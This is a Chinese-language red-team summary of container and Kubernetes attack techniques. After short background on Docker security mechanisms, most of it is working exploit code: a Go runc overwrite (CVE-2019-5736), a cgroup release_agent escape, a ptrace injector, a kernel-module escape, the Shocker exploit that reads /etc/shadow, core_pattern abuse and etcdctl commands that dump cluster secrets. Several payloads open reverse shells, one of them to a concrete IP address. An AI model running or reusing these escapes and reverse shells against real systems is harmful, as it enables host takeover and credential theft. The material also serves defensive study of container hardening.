九個容器環境安全紅隊常用手法總結
引言
隨著云原生的火熱,容器及容器編排平臺的安全也受到了行業關注,Gartner在近期發布的《K8s安全防護指導框架》中給出K8s安全的8個攻擊面,總結如下:
鏡像相關:
1. 鏡像倉庫安全
2. 容器鏡像安全
K8S組件相關:
3.API Server
4.Controller Manager
5.Etcd
6.Kubelet
7.Kube-proxy
運行時安全:
8.Pod內攻擊
9.容器逃逸
我們針對其中常見的紅隊攻擊手法進行了復現與總結。
一、概念簡介
簡單來說,容器是一種輕量級的應用及其運行環境打包技術,還包含依賴項,例如編程語⾔運⾏時的特定版本和運⾏軟件服務所需的庫。容器⽀持在操作系統級別輕松共享 CPU、內存、存儲空間和⽹絡資源,并提供了⼀種邏輯打包機制,以這種機制打包的應⽤可以脫離其實際運⾏的環境。目前,Docker是使用最廣泛的一種容器技術。
在開發、運維過程中,容器需要進行部署、管理、擴展和聯網等操作,這就引入了一個新的概念,容器的編排。
容器編排是指自動化容器的部署、管理、擴展和聯網。容器編排可以為需要部署和管理成百上千個容器和主機的企業提供便利。
容器編排可以在使用容器的任何環境中使用。這可以幫助在不同環境中部署相同的應用,而無需重新設計。通過將微服務放入容器,就能更加輕松地編排各種服務(包括存儲、網絡和安全防護)。
容器編排工具提供了用于大規模管理容器和微服務架構的框架。容器生命周期的管理有許多容器編排工具可用。一些常見的方案包括:Kubernetes、Docker Swarm 和 Apache Mesos。其中,目前使用最廣的為 Kubernetes。
Kubernetes簡稱K8S,是 Google于2014年開源的容器編排調度管理平臺。相比與Swarm、Mesos等平臺簡化了容器調度與管理,是目前最流行的容器編排平臺,K8S主要功能如下:
1)容器調度管理:基于調度算法與策略將容器調度到對應的節點上運行。
2)服務發現與負載均衡:通過域名、VIP對外提供容器服務,提供訪問流量負載均衡。
3)彈性擴展:定義期待的容器狀態與資源,K8S自動檢測、創建、刪除實例和配置以滿足要求。
4)自動恢復與回滾:提供健康檢查,自動重啟、遷移、替換或回滾運行失敗或沒響應的容器,保障服務可用性。
5)K8S對象管理:涉及應用編排與管理、配置、秘鑰等、監控與日志等。
6)資源管理:對容器使用的網絡、存儲、GPU等資源進行管理。
二、容器安全機制
每個基礎軟件服務都存在安全風險,容器也不例外,其自身為控制安全問題的發生,有著自己的安全機制,在此以 Docker 為例,簡單講述容器的安全機制。
Docker 根據 Linux 系統的一些特性,引入了多種安全機制,包含 seccomp、capability、Apparmor等。
Seccomp
seccomp 是 Linux kernel 從2.6.23版本引入的一種簡潔的 sandboxing 機制。
seccomp安全機制能使一個進程進入到一種“安全”運行模式,該模式下的進程只能調用4種系統調用(system call),即 read(), write(), exit() 和 sigreturn(),否則進程便會被終止。
Seccomp 簡單來說就是一個白名單,每個進程進行系統調用的時候,內核都會檢查對應的白名單來確認該進程是否有權限使用這個系統調用。
Linux capability
Capability 機制是 Linux 內核 2.2 之后引入的。本質上是將 root 用戶的權限細分為不同的領域,可以分別的啟用或者禁用。Docker 默認開啟了14種capability,對容器內部 root權限進行了一系列限制。
Apparmor
AppArmor 是 Linux 內核的一個安全模塊,通過它可以指定程序是否可以讀、寫或者運行哪些文件,是否可以打開網絡端口等。若可執行文件的路徑為 /home/ubuntu/run,使用 Apparmor 對其進行訪問控制,需要在配置文件目錄 /etc/apparmor.d 下新建一個名為 home.ubuntu.run 的文件,若修改 run 的文件名,配置文件將失效。
三、Docker安全問題與逃逸漏洞復現
盡管Docker本身具備Seccomp、Capability、Apparmor等Linux自帶的安全機制,但仍存在Linux內核漏洞、Docker漏洞以及配置不當等安全問題。
1. Linux 內核漏洞
(1)原理
容器的內核與宿主內核共享,使⽤Namespace與Cgroups這兩項技術,使容器內的資源與宿主機隔離,所以Linux內核產⽣的漏洞能導致容器逃逸。
容器逃逸和內核提權只有細微的差別,需要突破namespace的限制。將⾼權限的namespace賦到exploit進程的task_struct中。
容器逃逸簡易模型
(2)Dirty Cow 引發的容器逃逸
在Linux內核的內存⼦系統處理私有只讀內存映射的寫時復制(Copy-on-Write,CoW)機制的⽅式中發現了⼀個競爭沖突。⼀個沒有特權的本地⽤⼾,可能會利⽤此漏洞獲得對其他情況下只讀內存映射的寫訪問權限,從⽽增加他們在系統上的特權,這就是知名的Dirty CoW漏洞。
Dirty CoW 漏洞的逃逸的實現思路和上述的思路不太⼀樣,采取Overwrite vDSO技術。
vDSO(Virtual Dynamic Shared Object)是內核為了減少內核與⽤⼾空間頻繁切換,提⾼系統調⽤效率⽽設計的機制。它同時映射在內核空間以及每⼀個進程的虛擬內存中,包括那些以root權限運⾏的進程。通過調⽤那些不需要上下⽂切換(context switching)的系統調⽤可以加快這⼀步驟(定位vDSO)。vDSO在用戶空間(userspace)映射為R/X,⽽在內核空間(kernelspace)則為R/W。這允許我們在內核空間修改它,接著在用戶空間執⾏。⼜因為容器與宿主機內核共享,所以可以直接使⽤這項技術逃逸容器。
利⽤步驟如下:
1. 獲取vDSO地址,在新版的glibc中可以直接調⽤getauxval()函數獲取;
2. 通過vDSO地址找到clock_gettime()函數地址,檢查是否可以hijack;
3. 創建監聽socket;
4. 觸發漏洞,Dirty CoW是由于內核內存管理系統實現CoW時產⽣的漏洞。通過條件競爭,把握好在恰當的時機,利⽤ CoW 的特性可以將⽂件的read-only映射該為write。⼦進程不停地檢查是否成功寫⼊。⽗進程創建⼆個線程,ptrace_thread線程向vDSO寫⼊shellcode。madvise_thread線程釋放vDSO映射空間,影響ptrace_thread線程CoW的過程,產⽣條件競爭,當條件觸發就能寫⼊成功。
5. 執⾏shellcode,等待從宿主機返回root shell,成功后恢復vDSO原始數據。
https://github.com/scumjr/dirtycow-vdso
2. Docker 漏洞
Docker 軟件架構分為四個部分,集成許多組件,包括containerd、runc等等。
Docker Client是Docker的客戶端程序,用于將用戶請求發送給Dockerd。Dockerd 實際調用的是 containerd 的API接口,containerd 是 Dockerd 和 runc 之間的一個中間交流組件,主要負責容器運行、鏡像管理等。containerd 向上為 Dockerd 提供了 gRPC 接口,使得 Dockerd 屏蔽下面的結構變化,確保原有接口向下兼容;向下,通過 containerd-shim 與 runc 結合創建及運行容器。
所以,若這些組件存在問題,也會帶來 Docker 的安全問題。
1.CVE-2019-5736:runc - container breakout vulnerability
漏洞原理
runc 在使用文件系統描述符時存在漏洞,該漏洞可導致特權容器被利用,造成容器逃逸以及訪問宿主機文件系統;攻擊者也可以使用惡意鏡像,或修改運行中的容器內的配置來利用此漏洞。
攻擊方式1:(該途徑無需特權容器)運行中的容器被入侵,系統文件被惡意篡改 ==> 宿主機運行docker exec命令,在該容器中創建新進程 ==> 宿主機runc被替換為惡意程序 ==> 宿主機執行docker run/exec 命令時觸發執行惡意程序;
攻擊方式2:(該途徑無需特權容器)docker run命令啟動了被惡意修改的鏡像 ==> 宿主機runc被替換為惡意程序 ==> 宿主機運行docker run/exec命令時觸發執行惡意程序。
當runc在容器內執行新的程序時,攻擊者可以欺騙它執行惡意程序。通過使用自定義二進制文件替換容器內的目標二進制文件來實現指回 runc 二進制文件。
如果目標二進制文件是 /bin/bash,可以用指定解釋器的可執行腳本替換 #!/proc/self/exe。因此,在容器內執行 /bin/bash,/proc/self/exe 的目標將被執行,將目標指向 runc 二進制文件。
然后攻擊者可以繼續寫入 /proc/self/exe 目標,嘗試覆蓋主機上的 runc 二進制文件。這里需要使用 O_PATH flag打開 /proc/self/exe 文件描述符,然后以 O_WRONLY flag 通過/proc/self/fd/重新打開二進制文件,并且用單獨的一個進程不停地寫入。當寫入成功時,runc會退出。
影響版本
docker version <=18.09.2 && RunC version <=1.0-rc6
漏洞利用
P.S. 該漏洞會替換原本主機 runc 文件,造成 Docker 服務不可用,需要引導被攻擊人使用 exec 去執行/bin/sh 或者想要的任何操作。
- package main
- import (
- "fmt"
- "io/ioutil"
- "os"
- "strconv"
- "strings"
- )
- // This is the line of shell commands that will execute on the host
- var payload = "#!/bin/bash \n bash -i >& /dev/tcp/0.0.0.0/1234 0>&1"
- func main() {
- // First we overwrite /bin/sh with the /proc/self/exe interpreter path
- fd, err := os.Create("/bin/sh")
- if err != nil {
- fmt.Println(err)
- return
- }
- fmt.Fprintln(fd, "#!/proc/self/exe")
- err = fd.Close()
- if err != nil {
- fmt.Println(err)
- return
- }
- fmt.Println("[+] Overwritten /bin/sh successfully")
- // Loop through all processes to find one whose cmdline includes runcinit
- // This will be the process created by runc
- var found int
- for found == 0 {
- pids, err := ioutil.ReadDir("/proc")
- if err != nil {
- fmt.Println(err)
- return
- }
- for _, f := range pids {
- fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
- fstring := string(fbytes)
- if strings.Contains(fstring, "runc") {
- fmt.Println("[+] Found the PID:", f.Name())
- found, err = strconv.Atoi(f.Name())
- if err != nil {
- fmt.Println(err)
- return
- }
- }
- }
- }
- // We will use the pid to get a file handle for runc on the host.
- var handleFd = -1
- for handleFd == -1 {
- // Note, you do not need to use the O_PATH flag for the exploit to work.
- handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
- if int(handle.Fd()) > 0 {
- handleFd = int(handle.Fd())
- }
- }
- fmt.Println("[+] Successfully got the file handle")
- // Now that we have the file handle, lets write to the runc binary and overwrite it
- // It will maintain it's executable flag
- for {
- writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
- if int(writeHandle.Fd()) > 0 {
- fmt.Println("[+] Successfully got write handle", writeHandle)
- writeHandle.Write([]byte(payload))
- return
- }
- }
- }
2.CVE-2019-14271:docker cp
vulnerability
漏洞原理
docker cp的邏輯漏洞導致宿主機進程會使用容器的 so 庫,而容器的 so 庫我們目前是可控的,我們可以編譯一個惡意so庫對原生的鏡像庫進行替換,使宿主進程調用惡意so庫過程中執行攻擊者定義的危險代碼。尋找到 libnss_files.so.2 的源碼,在其中加入鏈接時啟動代碼(run_at_link),并定義執行函數,之后對其進行編譯,將新生成的libnss_files.so.2送往容器中觸發惡意指令。
影響版本
影響版本只有docker 19.03.0(包含幾個beta版),19.03.1以上以及18.09以下都不受影響。
3.CVE-2020-15257:docker-containerd --network=host breakout vulnerability
漏洞原理
該漏洞是由在特定網絡環境下Docker容器內部可以訪問宿主機的containerdAPI引起的。containerd在操作runC時,會創建相應進程并生成一個抽象socket,docker通過該socket與容器進行控制與通信。該socket可以在宿主機的/proc/net/unix文件中查找到,當Docker容器內部共享了宿主機的網絡時,便可通過加載該socket,來控制Docker容器,引發逃逸。
漏洞利用
https://github.com/ZhuriLab/Exploits/tree/master/cve-2020-15257
3.配置不當
1.Docker API 暴露
docker -H tcp://0.0.0.0:2375 去訪問創建等,或者使用 UI
2.特權容器
特權容器意味著擁有所有的 Capability,即與宿主機 ROOT 權限一致,特權容器逃逸方法有很多。例如,通過掛載硬盤逃逸:
● fdisk -l
● mount xxx /mnt
3.Capability 權限過大
查看 Docker 所擁有的 Capability
cat /proc/1/status | grep Cap
capsh --decode=00000000a80425fb
① 擁有 SYS_ADMIN 權限
通過 cgroup 進行逃逸,需要--security-opt apparmor=unconfined
- # In the container
- mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
- echo 1 > /tmp/cgrp/x/notify_on_release
- host_path=/var/lib/docker/overlay2/e1665b79172f92e72f785c4f1e22f517c5b737ddd8c75504442fbc85f4a13619/diff
- echo "/var/lib/docker/overlay2/e1665b79172f92e72f785c4f1e22f517c5b737ddd8c75504442fbc85f4a13619/diff/cmd" > /tmp
- /cgrp/release_agent
- echo '#!/bin/sh' > /cmd
- echo "bash -c 'bash -i >& /dev/tcp/0.0.0.0/1234 0>&1'" >> /cmd
- chmod a+x /cmd
- sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
② 擁有SYS_PTRACE 權限
進程注入引發逃逸,需要 --pid=host 以及--security-opt apparmor=unconfined
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <stdint.h>
- #include <sys/ptrace.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <unistd.h>
- #include <sys/user.h>
- #include <sys/reg.h>
- #define SHELLCODE_SIZE 0
- unsigned char *shellcode =
- "";
- int inject_data (pid_t pid, unsigned char *src, void *dst, int len)
- {
- int i;
- uint32_t *s = (uint32_t *) src;
- uint32_t *d = (uint32_t *) dst;
- for (i = 0; i < len; i+=4, s++, d++)
- {
- if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
- {
- perror ("ptrace(POKETEXT):");
- return -1;
- }
- }
- return 0;
- }
- int main (int argc, char *argv[])
- {
- pid_t target;
- struct user_regs_struct regs;
- int syscall;
- long dst;
- if (argc != 2)
- {
- fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
- exit (1);
- }
- target = atoi (argv[1]);
- printf ("+ Tracing process %d\n", target);
- if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
- {
- perror ("ptrace(ATTACH):");
- exit (1);
- }
- printf ("+ Waiting for process...\n");
- wait (NULL);
- printf ("+ Getting Registers\n");
- if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0)
- {
- perror ("ptrace(GETREGS):");
- exit (1);
- }
- /* Inject code into current RPI position */
- printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
- inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
- regs.rip += 2;
- printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
- if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0)
- {
- perror ("ptrace(GETREGS):");
- exit (1);
- }
- printf ("+ Run it!\n");
- if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
- {
- perror ("ptrace(DETACH):");
- exit (1);
- }
- return 0;
- }
③ 擁有SYS_MODULE 權限
加載內核模塊直接逃逸
- #include <linux/module.h> /* Needed by all modules */
- #include <linux/kernel.h> /* Needed for KERN_INFO */
- #include <linux/init.h> /* Needed for the macros */
- #include <linux/sched/signal.h>
- #include <linux/nsproxy.h>
- #include <linux/proc_ns.h>
- ///< The license type -- this affects runtime behavior
- MODULE_LICENSE("GPL");
- ///< The author -- visible when you use modinfo
- MODULE_AUTHOR("Nimrod Stoler");
- ///< The description -- see modinfo
- MODULE_DESCRIPTION("NS Escape LKM");
- ///< The version of the module
- MODULE_VERSION("0.1");
- static int __init escape_start(void)
- {
- int rc;
- static char *envp[] = {
- "SHELL=/bin/bash",
- "HOME=/home/cyberark",
- "USER=cyberark",
- "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin",
- "DISPLAY=:0",
- NULL};
- char *argv[] = {"/bin/bash","-c", "bash -i >& /dev/tcp/106.55.159.102/9999 0>&1", NULL};
- rc = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
- printk("RC is: %i \n", rc);
- return 0;
- }
- static void __exit escape_end(void)
- {
- printk(KERN_EMERG "Goodbye!\n");
- }
- module_init(escape_start);
- module_exit(escape_end);
- -----------------------
- ifneq ($(KERNELRELEASE),)
- obj-m :=exp.o
- else
- KDIR :=/lib/modules/$(shell uname -r)/build
- all:
- make -C $(KDIR) M=$(PWD) modules
- clean:
- rm -f *.ko *.o *.mod.o *.mod.c *.symvers *.order
- endif
4.dac_read_search
Shocker攻擊
- #define _GNU_SOURCE
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <dirent.h>
- #include <stdint.h>
- struct my_file_handle
- {
- unsigned int handle_bytes;
- int handle_type;
- unsigned char f_handle[8];
- };
- void die(const char *msg)
- {
- perror(msg);
- exit(errno);
- }
- void dump_handle(const struct my_file_handle *h)
- {
- fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h->handle_bytes,
- h->handle_type);
- for (int i = 0; i < h->handle_bytes; ++i)
- {
- fprintf(stderr, "0x%02x", h->f_handle[i]);
- if ((i + 1) % 20 == 0)
- fprintf(stderr, "\n");
- if (i < h->handle_bytes - 1)
- fprintf(stderr, ", ");
- }
- fprintf(stderr, "};\n");
- }
- int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
- {
- int fd;
- uint32_t ino = 0;
- struct my_file_handle outh = {
- .handle_bytes = 8,
- .handle_type = 1};
- DIR *dir = NULL;
- struct dirent *de = NULL;
- path = strchr(path, '/');
- // recursion stops if path has been resolved
- if (!path)
- {
- memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
- oh->handle_type = 1;
- oh->handle_bytes = 8;
- return 1;
- }
- ++path;
- fprintf(stderr, "[*] Resolving '%s'\n", path);
- if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
- die("[-] open_by_handle_at");
- if ((dir = fdopendir(fd)) == NULL)
- die("[-] fdopendir");
- for (;;)
- {
- de = readdir(dir);
- if (!de)
- break;
- fprintf(stderr, "[*] Found %s\n", de->d_name);
- if (strncmp(de->d_name, path, strlen(de->d_name)) == 0)
- {
- fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
- ino = de->d_ino;
- break;
- }
- }
- fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
- if (de)
- {
- for (uint32_t i = 0; i < 0xffffffff; ++i)
- {
- outh.handle_bytes = 8;
- outh.handle_type = 1;
- memcpy(outh.f_handle, &ino, sizeof(ino));
- memcpy(outh.f_handle + 4, &i, sizeof(i));
- if ((i % (1 << 20)) == 0)
- fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
- if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0)
- {
- closedir(dir);
- close(fd);
- dump_handle(&outh);
- return find_handle(bfd, path, &outh, oh);
- }
- }
- }
- closedir(dir);
- close(fd);
- return 0;
- }
- int main()
- {
- char buf[0x1000];
- int fd1, fd2;
- struct my_file_handle h;
- struct my_file_handle root_h = {
- .handle_bytes = 8,
- .handle_type = 1,
- .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}};
- fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
- "[***] The tea from the 90's kicks your sekurity again. [***]\n"
- "[***] If you have pending sec consulting, I'll happily [***]\n"
- "[***] forward to my friends who drink secury-tea too! [***]\n");
- // get a FS reference from something mounted in from outside
- if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
- die("[-] open");
- if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
- die("[-] Cannot find valid handle!");
- fprintf(stderr, "[!] Got a final handle!\n");
- dump_handle(&h);
- if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
- die("[-] open_by_handle");
- memset(buf, 0, sizeof(buf));
- if (read(fd2, buf, sizeof(buf) - 1) < 0)
- die("[-] read");
- fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
- close(fd2);
- close(fd1);
- return 0;
- }
5.其他
通過內核漏洞進行逃逸時,有可能存在有些系統調用被禁用而使漏洞無法復現的情況,當一些 Capability 被賦予時可以使得原先不能在容器內使用的 kernel 漏洞可以使用,例如:
特殊目錄被掛載至 Docker 內部引發逃逸
當例如宿主機的內的 /, /etc/, /root/.ssh 等目錄的寫權限被掛載進容器時,在容器內部可以修改宿主機內的 /etc/crontab、/root/.ssh/、/root/.bashrc 等文件執行任意命令,就可以導致容器逃逸。
① Docker in Docker
其中一個比較特殊且常見的場景是當宿主機的 /var/run/docker.sock 被掛載容器內的時候,容器內就可以通過 docker.sock 在宿主機里創建任意配置的容器,此時可以理解為可以創建任意權限的進程,當然也可以控制任意正在運行的容器。
使用 golang 去調用 unix://docker socket,去創建新的 Docker。
② 掛載了主機 /proc 目錄
●從 mount 信息中找出宿主機內對應當前容器內部文件結構的路徑。
- sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
●因為宿主機內的 /proc 文件被掛載到了容器內的 /host_proc 目錄,所以我們修改 /host_proc/sys/kernel/core_pattern 文件以達到修改宿主機 /proc/sys/kernel/core_pattern 的目的。
- echo -e “|/var/lib/docker/overlay2/a1a1e60a9967d6497f22f5df21b185708403e2af22eab44cfc2de05ff8ae115f/diff/exp.sh \rcore “ > /host_proc/sys/kernel/core_pattern
●需要一個程序在容器里執行并觸發 segmentation fault 使植入的 payload 即 exp.sh 在宿主機執行。
- #include <stdio.h>
- int main() {
- int *a = NULL;
- *a = 1;
- return 0;
- }
四、K8s安全問題與漏洞復現
K8S 作為使用最多的容器編排軟件,一些錯誤的配置會引發很多安全問題,使得集群失陷。
1.利用大權限的 Service Account 逃逸
使用Kubernetes做容器編排的話,在POD啟動時,Kubernetes會默認為容器掛載一個 Service Account 證書。同時,默認情況下Kubernetes會創建一個特有的 Service 用來指向 ApiServer。
有了這兩個條件,我們就擁有了在容器內直接和APIServer通信和交互的方式。
類似 Docker 中 capability 的賦予,在創建 pod 時制定使用已經給了特定權限的 SA,然后可以通過 kubectl 去進行一些列操作。
● kubectl edit sa sa-name -n namespace //
● kubectl create -f pod.yaml // sa pod
● ./kubectl .
2. 容器組件未鑒權
● kube-apiserver: 6443, 8080
● kubectl proxy: 8080, 8081
● kubelet: 10250, 10255, 4149
● dashboard: 30000
● docker api: 2375
● etcd: 2379, 2380
● kube-controller-manager: 10252
● kube-proxy: 10256, 31442
● kube-scheduler: 10251
● weave: 6781, 6782, 6783
● kubeflow-dashboard: 8080
1.組件分工
① 用戶與 kubectl 或者 Kubernetes Dashboard 進行交互,提交需求。(例: kubectl create -f pod.yaml)
② kubectl 會讀取 ~/.kube/config 配置,并與 apiserver 進行交互,協議:http/https
③ apiserver 會協同 ETCD 等組件準備下發新建容器的配置給到節點,協議:http/https(除 ETCD 外還有例如 kube-controller-manager,
④ scheduler等組件用于規劃容器資源和容器編排方向)
⑤ apiserver 與 kubelet 進行交互,告知其容器創建的需求,協議:http/https
⑥ kubelet 與Docker等容器引擎進行交互,創建容器,協議:http/unix socket
2.API Server
默認情況下,apiserver 都是有鑒權的
但也有未鑒權的配置,此時請求接口的結果如下:
對于這類的未鑒權的設置來說,訪問到 apiserver 一般情況下就獲取了集群的權限
3.Kubelet
每一個Node節點都有一個kubelet服務,kubelet監聽了10250,10248,10255等端口。
其中10250端口是kubelet與apiserver進行通信的主要端口,通過該端口kubelet可以知道自己當前應該處理的任務,該端口在最新版Kubernetes是有鑒權的,但在開啟了接受匿名請求的情況下,不帶鑒權信息的請求也可以使用10250提供的能力。
在新版本Kubernetes中當使用以下配置打開匿名訪問時便可能存在kubelet未授權訪問漏洞:
執行命令
4.Dashboard
dashboard是Kubernetes官方推出的控制Kubernetes的圖形化界面,在Kubernetes配置不當導致dashboard未授權訪問漏洞的情況下,通過dashboard我們可以控制整個集群。
在dashboard中默認是存在鑒權機制的,用戶可以通過kubeconfig或者Token兩種方式登錄,當用戶開啟了enable-skip-login時可以在登錄界面點擊Skip跳過登錄進入dashboard。
然而通過點擊Skip進入dashboard默認是沒有操作集群的權限的,因為Kubernetes使用RBAC(Role-based access control)機制進行身份認證和權限管理,不同的serviceaccount擁有不同的集群權限。
我們點擊Skip進入dashboard實際上使用的是Kubernetes-dashboard這個ServiceAccount,如果此時該ServiceAccount沒有配置特殊的權限,是默認沒有辦法達到控制集群任意功能的程度的。
但有些開發者為了方便或者在測試環境中會為Kubernetes-dashboard綁定cluster-admin這個ClusterRole(cluster-admin擁有管理集群的最高權限)。
5.etcd
etcd 被廣泛用于存儲分布式系統或機器集群數據,其默認監聽了2379等端口,如果2379端口暴露,可能造成敏感信息泄露。
Kubernetes默認使用了etcd v3來存儲數據,如果我們能夠控制Kubernetes etcd服務,也就擁有了整個集群的控制權。
- export ETCDCTL_API=3
- etcdctl endpoint health
- etcdctl get / --prefix --keys-only | grep /secrets/
- etcdctl get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-pkkd5